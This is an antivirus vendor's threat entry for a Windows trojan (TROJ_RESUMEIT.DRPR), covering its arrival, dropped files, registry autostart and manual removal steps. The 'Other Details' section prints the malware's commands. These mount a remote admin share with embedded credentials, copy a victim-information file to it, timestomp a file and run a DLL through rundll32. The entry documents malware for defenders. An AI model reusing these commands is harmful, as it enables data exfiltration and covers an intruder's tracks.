Analysis by: Johnlery Triunfante
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 374,823 bytes
Memory Resident: No
Initial Samples Received Date: 01 Aug 2018

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Windows%\security\__tmp_rar_sfx_access_check_{number}

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It drops and executes the following files:

  • %Windows%\security\cms.cmd ← Deleted after execution
  • %Windows%\security\fntprnt.dll ← Detected as TROJ_RESUMEIT.A
  • %Windows%\security\in.vbs ← Deleted after execution
  • %Windows%\security\smp.exe ← Detected as HKTL_TSTOMP, deleted after execution

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
IgfxTrayPers = %Windows%\security\igfxprs.exe

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • net.exe
  • rundll32.exe
  • igfxprs.exe

Dropping Routine

This Trojan drops the following files:

  • %Windows%\security\fontview.dll ← Contains victim's IP address and computer name

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other Details

This Trojan does the following:

  • Executes the following command to connect and send the contents of %Windows%\security\fontview.dll to a remote computer:
    • net use \{BLOCKED}.{BLOCKED}.2.38\c$ /del & net use \{BLOCKED}.{BLOCKED}.2.38\c$ /user:mha\adm-agravathi.v srinu@1234
    • type %Windows%\security\fontview.dll >> \{BLOCKED}.{BLOCKED}.2.38\c$\windows\temp\lg\%Computername%_lgns.dll && del %Windows%\security\fontview.dll
  • Executes the following command to execute its dropped components:
    • smp.exe igfxprs.exe -z "Saturday 10/08/2009 2:12:34 PM"
    • start /min rundll32 %Windows%\security\fntprnt.dll Resumeit %Windows%\security\fontview.dll

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.416.04
FIRST VSAPI PATTERN DATE: 01 Aug 2018
VSAPI OPR PATTERN File: 14.417.00
VSAPI OPR PATTERN Date: 02 Aug 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • IgfxTrayPers = %Windows%\security\igfxprs.exe

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %Windows%\security\cms.cmd
  • %Windows%\security\fntprnt.dll
  • %Windows%\security\in.vbs
  • %Windows%\security\smp.exe
  • %Windows%\security\fontview.dll

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_RESUMEIT.DRPR. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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